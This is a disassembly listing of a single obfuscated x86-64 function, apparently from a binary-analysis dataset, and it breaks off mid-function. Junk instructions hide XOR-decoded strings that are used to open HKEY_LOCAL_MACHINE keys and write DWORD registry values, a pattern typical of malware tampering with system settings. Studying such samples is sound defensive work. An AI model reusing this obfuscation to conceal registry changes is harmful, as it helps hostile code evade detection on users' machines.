Function at 0x1403fde74
Capabilities:
Set registry value

Disassembly:
push r15
push r14
push r13
dec rax
push r12
sar r12b, 0x35
push rsi
btc r15d, 0x6a
rol sil, 0x6c
push rdi
push rbp
stc
inc sil
shrd r12w, r9w, 0x2b
push rbx
not bpl
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
mov r15b, sil
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x40], rax
movzx r12w, al
movabs rax, 0x2204bcb80ebea5a3
movzx r15w, r9b
jmp 0x1403fded7
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x48], rax
movabs rax, 0xfbc9f38de01f2fa2
movzx r15, r14w
jmp 0x1403fdefb
mov qword [rsp + 0x2d0], rax
movzx ebp, ax
mov qword [rsp + 0x50], rax
cdqe
movsx di, al
movabs rax, 0x17a75ff95317a686
movzx rbx, r15w
not r13w
mov r13w, 0xddf
mov qword [rsp + 0x2c8], rax
movzx bp, r9b
setge dil
mov qword [rsp + 0x58], rax
cwde
movabs rax, 0xfd99d5578f55fa6f
mov r15b, 0x63
mov qword [rsp + 0x2c0], rax
movsx r14w, dl
mov r14b, pe_nt_image_headers64
movzx bp, bl
mov qword [rsp + 0x60], rax
cbw
cmovs r13, rsi
movabs rax, 0x4b3964fdcd447246
cmovb r14d, ebp
mov qword [rsp + 0x2b8], rax
xchg rbx, rbp
mov qword [rsp + 0x68], rax
not eax
jmp 0x1403fdf90
movabs rax, 0xee88324679eb2227
movzx di, spl
not rdi
mov qword [rsp + 0x2b0], rax
movzx edi, r15w
mov rdi, r10
mov r12d, 0x1a941289
mov qword [rsp + 0x70], rax
xchg bp, di
movsxd r14, esp
movabs rax, 0x6d7346ad6d4ffefa
not r15b
movzx r12, dx
movsxd rbx, esi
mov qword [rsp + 0x2a8], rax
setle dil
bswap r12w
mov qword [rsp + 0x78], rax
not r15
movzx r15, r8w
movabs rax, 0xd093683aef376a76
jmp 0x1403fe005
mov qword [rsp + 0x2a0], rax
movsx esi, dx
mov qword [rsp + 0x80], rax
movsx si, bl
movabs rax, 0xa80f93e9d32b8c6f
mov qword [rsp + 0x298], rax
mov r15w, r12w
movzx r12w, r10b
mov qword [rsp + 0x88], rax
movabs rax, 0x33e730243394033e
mov qword [rsp + 0x290], rax
bswap r12
xchg edi, esi
mov qword [rsp + 0x90], rax
mov r13b, 0xc
mov bl, r15b
lahf
movabs rax, 0xe7e3977e114e6703
not r13b
bswap r13
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x98], rax
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
not r13w
mov qword [rsp + 0xa0], rax
movsx ebx, r13w
not di
movabs rax, 0x6708be65ca8156d7
movzx r15d, ax
mov qword [rsp + 0x278], rax
mov r14w, 0x4ec6
cmovg ebx, r11d
mov qword [rsp + 0xa8], rax
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
mov r13d, 0x8bb22c5
mov qword [rsp + 0xb0], rax
movzx r15w, dil
lahf
movabs rax, 0x4b8cb541ca050f46
jmp 0x1403fe10a
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
not rbp
lahf
movabs rax, 0xe627ab41184af921
movzx r15, r13w
mov qword [rsp + 0x260], rax
mov r15b, r15b
mov qword [rsp + 0xc0], rax
jmp 0x1403fe144
movabs rax, 0x34c77b6e31b9a
mov sil, r8b
not bl
movzx rbp, di
mov qword [rsp + 0x258], rax
movzx bx, r9b
movsxd rbp, r13d
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8cf4ec0049852bb
not sil
movzx rdi, r14w
mov qword [rsp + 0xd0], rax
movsx r14w, dil
mov rax, 0x493d5848
movzx rbx, di
movabs rax, 0xa5eac9844f8ea419
movzx bx, dh
movsxd rsi, edi
mov qword [rsp + 0xd8], rax
bswap bx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
mov sil, 0x3e
setbe bpl
movabs rbp, 0x2eb490333e21dae3
mov qword [rsp + 0xe0], rbp
mov al, r8b
movsx r14, di
movzx r13, r13w
movabs r14, 0x28903e48668cb956
lahf
cwde
mov qword [rsp + 0xe8], r14
movsxd r12, edx
movsx rax, r10w
movsx esi, r13w
movabs r15, 0xe05dec612491fd3d
cdqe
movsx rax, r11w
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
cwde
mov di, 0x509c
mov qword [rsp + 0x108], r12
setno bh
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movabs rdi, 0x17c85fba5363a6e8
cbw
mov qword [rsp + 0x118], rdi
not ah
movabs rax, 0xfdf6d5258f21fa01
jmp 0x1403fe278
mov qword [rsp + 0x120], rax
movzx r13w, r10b
movsx ebx, di
jmp 0x1403fe28d
mov rbx, rax
movabs rax, 0x4b4d6498cd17722a
xchg r13b, r13b
mov qword [rsp + 0x2f0], rax
mov r13b, 0xb5
movzx r13, r12w
movsx r13d, dx
mov qword [rsp + 0x128], rax
movzx rax, r10w
movsx ax, r12b
cbw
movabs rax, 0xeefa322379b8227b
jmp 0x1403fe2d2
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x130], rax
mov ah, 0x1c
movabs rax, 0x6d1646ce6d26fe8c
movsxd r13, r11d
movzx r13w, r15b
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x138], rax
xchg r13w, ax
movzx r13w, bpl
movabs rax, 0xd0fb6869ef6b6a05
setnp r13b
movzx r13d, sp
mov qword [rsp + 0x240], rax
not r13b
xchg r13b, r13b
mov qword [rsp + 0x140], rax
lahf
mov r13b, 0xff
movabs rax, 0xa86b938cd3598c0e
jmp 0x1403fe350
mov qword [rsp + 0x238], rax
movsx r13w, cl
movzx r13d, r10w
mov qword [rsp + 0x148], rax
movabs rax, 0x3382304733f7037f
bswap r13w
setne r13b
movsxd r13, esi
mov qword [rsp + 0x230], rax
mov r13w, 0x61dc
setne r13b
xchg r13b, r13b
mov qword [rsp + 0x150], rax
movzx r13, r9w
movzx eax, bx
cwde
movabs rax, 0xe7b39722113d6770
movsx r13d, r11w
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x158], rax
movsx ax, dl
movabs rax, 0xb66658d58d403a9
mov r13d, 0x1fa6100e
movsx r13, cx
xchg r13, r13
mov qword [rsp + 0x220], rax
movsxd r13, ebx
seto r13b
mov qword [rsp + 0x160], rax
movzx r13, cx
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
jmp 0x1403fe416
mov qword [rsp + 0x168], rax
cbw
movabs rax, 0x46ce040ba50e40e3
movsx r13d, sp
movsx r13, r15w
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x170], rax
movabs rax, 0x4bedb536ca600f34
mov r13w, r8w
mov r13b, 0xe
mov qword [rsp + 0x208], rax
movsx r13, si
bswap r13
mov qword [rsp + 0x178], rax
movsx ax, al
cmovp r13, rsp
movabs rax, 0xe648ab111826f94d
movsxd r13, r11d
setns r13b
movsx r13, bp
mov qword [rsp + 0x200], rax
movzx r13, si
mov qword [rsp + 0x180], rax
movsx ax, ah
not r13d
movabs rax, 0x7a4c14b68a1bf6
movsx r13w, r11b
mov qword [rsp + 0x1f8], rax
setb r13b
mov r13d, 0x67415a5d
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
mov qword [rsp + 0x1f0], rax
movsx r13, ax
mov r13b, 0xab
mov qword [rsp + 0x190], rax
movabs rax, 0xa5bac9ea4fe7a478
bswap r13w
movzx r13, r9w
mov qword [rsp + 0x1e8], rax
not r13b
cmovb r13w, r15w
movzx r13w, al
mov qword [rsp + 0x198], rax
cmovb r13, rbx
movabs rax, 0x2edd90553e4eda91
movsx r13d, dx
mov qword [rsp + 0x1e0], rax
movzx r13w, cl
not r13b
xchg r13w, r13w
mov qword [rsp + 0x1a0], rax
cdqe
movzx r13d, si
movsxd rax, r12d
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
bswap r13w
jmp 0x1403fe572
mov qword [rsp + 0x1a8], rax
bswap r13w
lea r13, [rsp + 0x100]
cdqe
mov rax, r13
jmp 0x1403fe590
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fe59a
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fe5a7
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403fe5ba
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fe5c4
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403fe5d2
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403fe5dc
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403fe5ea
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fe5f7
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fe608
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fe615
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fe62e
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fe63f
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fe64c
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fe65d
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fe66a
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fe67e
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fe68b
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fe69f
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fe6ac
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
mov cx, r14w
lea r8, [rsp + 0x30]
movsx rcx, r11w
movzx rcx, dx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fe6ed
mov qword [rsp + 0x1d0], rax
jmp 0x1403fe6fa
mov qword [rsp + 0x40], rax
movabs rax, 0x222ebca20e96a58a
jmp 0x1403fe70e
mov qword [rsp + 0x1c8], rax
jmp 0x1403fe71b
mov qword [rsp + 0x48], rax
mov ax, 0xfef
jmp 0x1403fe72d
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403fe73c
mov qword [rsp + 0x2e8], rax
jmp 0x1403fe749
mov qword [rsp + 0x50], rax
mov rax, rdx
mov ah, 0x8d
cwde
movabs rax, 0x17c85fba530fa684
mov qword [rsp + 0x1c0], rax
jmp 0x1403fe76c
mov qword [rsp + 0x58], rax
nop
mov al, spl
mov rax, 0x36f62042
mov qword [rsp + 0x100], r15
nop
mov ax, 0x2c60
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
setb al
not al
movzx eax, bp
mov rax, r13
jmp 0x1403fe7b2
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fe7bc
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fe7c9
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fe7d3
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
bts r9w, r14w
bsr edx, edx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
sbb r9, r9
movsxd r9, edi
sub r8d, r8d
mov r9b, 0x3a
movzx r9w, r15b
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fe835
mov qword [rsp + 0x40], rax
mov rax, r12
movzx rax, si
cdqe
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fe850
mov qword [rsp + 0x48], rax
movsxd rax, r15d
movzx ax, r14b
movzx rax, r14w
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fe86e
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fe880
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fe892
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fe8a4
mov qword [rsp + 0x68], rax
nop
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fe8b8
mov qword [rsp + 0x70], rax
cdqe
jmp 0x1403fe8c9
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fe8d6
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fe8e8
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x1403fe8fd
mov qword [rsp + 0x88], rax
cwde
mov rax, qword [rsp + 0x290]
jmp 0x1403fe913
mov qword [rsp + 0x90], rax
movsx rax, r9w
jmp 0x1403fe924
mov rax, qword [rsp + 0x288]
jmp 0x1403fe931
mov qword [rsp + 0x98], rax
movsx ax, bl
movsxd rax, r15d
mov rax, r11
mov rax, qword [rsp + 0x280]
jmp 0x1403fe950
mov qword [rsp + 0xa0], rax
cmovno eax, r10d
nop
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movsxd rax, r15d
mov rax, qword [rsp + 0x270]
jmp 0x1403fe97e
mov qword [rsp + 0xb0], rax
bswap ax
mov ah, bh
mov rax, qword [rsp + 0x268]
jmp 0x1403fe998
mov qword [rsp + 0xb8], rax
movzx eax, r13w
mov rax, qword [rsp + 0x260]
jmp 0x1403fe9b1
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x1403fe9c6
mov qword [rsp + 0xc8], rax
cwde
nop
movabs rax, 0xd8c04eda048c52bb
mov qword [rsp + 0xd0], rax
movsx eax, dx
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403fe9f5
mov qword [rsp + 0xd8], rax
sete ah
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cbw
cdqe
mov qword [rsp + 0x110], rsi
mov r14b, 0xad
xchg r14b, al
mov qword [rsp + 0x118], rdi
movzx ebp, bp
xchg al, bpl
mov rbp, rbx
lahf
mov qword [rsp + 0x120], rbx
mov ax, 0xc6b
mov r14, qword [rsp + 0x2f0]
jmp 0x1403fea65
mov qword [rsp + 0x128], r14
jmp 0x1403fea72
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1403fea8f
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x1403feaa4
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x148], rax
movsx eax, r14w
movzx ax, r13b
mov rax, qword [rsp + 0x230]
jmp 0x1403fead2
mov qword [rsp + 0x150], rax
cdqe
mov ax, 0x30fc
movsx rax, dx
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
sete al
lahf
mov rax, qword [rsp + 0x220]
jmp 0x1403feb05
mov qword [rsp + 0x160], rax
movsx eax, r12w
jmp 0x1403feb16
mov rax, qword [rsp + 0x218]
jmp 0x1403feb23
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1403feb38
mov qword [rsp + 0x170], rax
movzx rax, r14w
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
movsx eax, r8w
cbw
jmp 0x1403feb5f
mov rax, qword [rsp + 0x200]
jmp 0x1403feb6c
mov qword [rsp + 0x180], rax
movsx eax, r13w
movzx ax, cl
mov rax, qword [rsp + 0x1f8]
jmp 0x1403feb89
mov qword [rsp + 0x188], rax
mov ah, 0x9c
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
lahf
nop
mov rax, qword [rsp + 0x1e8]
jmp 0x1403febb4
mov qword [rsp + 0x198], rax
mov al, r10b
movzx ax, sil
mov rax, qword [rsp + 0x1e0]
jmp 0x1403febd1
mov qword [rsp + 0x1a0], rax
cwde
mov rax, qword [rsp + 0x1d8]
jmp 0x1403febe7
mov qword [rsp + 0x1a8], rax
not ah
mov rax, r13
jmp 0x1403febf9
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fec03
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fec12
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fec36
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fec4c
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fec65
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fec76
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fec83
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fec9c
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fecad
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fecba
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fecce
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fecea
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
setae r8b
lea rdx, [rsp + 0x40]
mov r8b, 0xc9
mov rcx, 0xffffffff80000002
movsx r8d, ax
movzx r8w, r15b
lea r8, [rsp + 0x30]
jmp 0x1403fed27
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx rbx, ax
mov bh, 0xab
mov qword [rsp + 0x40], rax
cmovge bx, r8w
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x48], rax
bswap bx
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
movzx ax, r8b
cwde
movsx eax, bp
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x58], rax
lahf
cwde
mov qword [rsp + 0x100], r15
jmp 0x1403fed8f
mov qword [rsp + 0x108], r12
mov al, r9b
mov qword [rsp + 0x110], rsi
cwde
cbw
mov qword [rsp + 0x118], rdi
cwde
mov ah, 0xe1
mov rax, r13
jmp 0x1403fedb9
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fedc3
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fedd0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fedda
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
and dx, dx
shl al, cl
mov rcx, qword [rsp + 0x30]
bsf r9, r8
jmp 0x1403fedf6
lea rax, [rsp + 0x3c]
and r9w, 0x170e
or r9, 0x8ed0c63
ror dh, 5
mov qword [rsp + 0x20], rax
movzx r9w, al
movzx r9d, ax
mov dword [rsp + 0x28], 4
sbb dl, r12b
lea rdx, [rsp + 0x40]
btc r9w, si
neg r9b
movsx r9d, cx
xor r8d, r8d
movzx r9d, bx
mov r9d, 4
jmp 0x1403fee47
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fee65
mov qword [rsp + 0x40], rax
cdqe
jmp 0x1403fee71
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fee7e
mov qword [rsp + 0x48], rax
jmp 0x1403fee89
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
not ax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403feea6
mov qword [rsp + 0x58], rax
movsx ax, ch
mov rax, qword [rsp + 0x2c0]
jmp 0x1403feebc
mov qword [rsp + 0x60], rax
cdqe
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403feedd
mov qword [rsp + 0x70], rax
movzx eax, bp
cdqe
jmp 0x1403feeec
mov rax, qword [rsp + 0x2a8]
jmp 0x1403feef9
mov qword [rsp + 0x78], rax
movsxd rax, ecx
movsx rax, r15w
setae ah
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fef15
mov qword [rsp + 0x80], rax
cwde
movsx eax, r12w
movzx ax, sil
mov rax, qword [rsp + 0x298]
jmp 0x1403fef34
mov qword [rsp + 0x88], rax
cmovs rax, r12
movsx ax, r9b
movsx eax, r15w
mov rax, qword [rsp + 0x290]
jmp 0x1403fef56
mov qword [rsp + 0x90], rax
movzx ax, bpl
lahf
cdqe
mov rax, qword [rsp + 0x288]
jmp 0x1403fef73
mov qword [rsp + 0x98], rax
movsx ax, bh
lahf
jmp 0x1403fef85
mov rax, qword [rsp + 0x280]
jmp 0x1403fef92
mov qword [rsp + 0xa0], rax
cbw
mov eax, 0x6991195e
cwde
mov rax, qword [rsp + 0x278]
jmp 0x1403fefaf
mov qword [rsp + 0xa8], rax
movsx ax, r10b
movsx rax, sp
mov rax, qword [rsp + 0x270]
jmp 0x1403fefcd
mov qword [rsp + 0xb0], rax
lahf
mov eax, 0x52cb6e09
mov rax, qword [rsp + 0x268]
jmp 0x1403fefe8
mov qword [rsp + 0xb8], rax
xchg ah, ah
lahf
mov rax, qword [rsp + 0x260]
jmp 0x1403ff000
mov qword [rsp + 0xc0], rax
movsx rax, r12w
mov rax, qword [rsp + 0x258]
jmp 0x1403ff019
mov qword [rsp + 0xc8], rax
movsx ax, dil
jmp 0x1403ff02e
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403ff03d
mov qword [rsp + 0xd0], rax
setp ah
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403ff057
mov qword [rsp + 0xd8], rax
bswap eax
movsx eax, cx
mov rax, 0x3b433ae6
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403ff07a
mov qword [rsp + 0xe0], rax
movsx rax, cx
movsx eax, r14w
movabs rax, 0x28f53e246680b95c
jmp 0x1403ff099
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x100], r15
movzx rax, r14w
not ax
mov qword [rsp + 0x108], r12
movzx eax, sp
mov ax, r15w
movsx eax, sp
mov qword [rsp + 0x110], rsi
cbw
movsx eax, bx
mov qword [rsp + 0x118], rdi
movsx eax, r13w
not rax
mov qword [rsp + 0x120], rbp
cwde
movsxd rax, r8d
movzx eax, r15w
mov qword [rsp + 0x128], r14
movsx ax, r15b
sete ah
mov rax, r12
mov rax, qword [rsp + 0x250]
jmp 0x1403ff10e
mov qword [rsp + 0x130], rax
movsx rax, cx
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
movsxd rax, r10d
cbw
cmovge ax, cx
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
not al
movsx eax, si
xchg al, al
mov rax, qword [rsp + 0x238]
jmp 0x1403ff157
mov qword [rsp + 0x148], rax
movsxd rax, ebx
movsx eax, r12w
mov ax, 0x2f2d
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
movzx ax, bh
not al
mov rax, qword [rsp + 0x228]
jmp 0x1403ff18d
mov qword [rsp + 0x158], rax
mov ah, 0x20
movsx eax, r9w
movzx rax, sp
mov rax, qword [rsp + 0x220]
jmp 0x1403ff1ad